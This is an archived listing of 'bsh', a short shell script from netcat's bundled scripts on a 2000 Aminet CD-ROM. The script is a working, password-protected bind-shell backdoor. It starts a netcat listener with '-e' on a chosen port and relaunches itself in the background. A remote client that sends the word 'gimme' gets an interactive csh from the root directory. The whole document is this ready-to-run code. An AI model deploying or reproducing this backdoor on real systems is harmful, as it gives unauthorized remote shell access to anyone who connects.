home *** CD-ROM | disk | FTP | other *** search
/ Aminet 39 / Aminet 39 (2000)(Schatztruhe)[!][Oct 2000].iso / Aminet / comm / tcp / netcat.lha / netcat / scripts / bsh < prev    next >
Encoding:
Text File  |  1996-02-23  |  487 b   |  30 lines

  1. #! /bin/sh
  2. ## a little wrapper to "password" and re-launch a shell-listener.
  3. ## Arg is taken as the port to listen on.  Define "NC" to point wherever.
  4.  
  5. NC=nc
  6.  
  7. case "$1" in
  8.   ?* )
  9.   LPN="$1"
  10.   export LPN
  11.   sleep 1
  12.   echo "-l -p $LPN -e $0" | $NC > /dev/null 2>&1 &
  13.   echo "launched on port $LPN"
  14.   exit 0
  15.   ;;
  16. esac
  17.  
  18. # here we play inetd
  19. echo "-l -p $LPN -e $0" | $NC > /dev/null 2>&1 &
  20.  
  21. while read qq ; do
  22. case "$qq" in
  23. # here's yer password
  24.   gimme )
  25.   cd /
  26.   exec csh -i
  27.   ;;
  28. esac
  29. done
  30.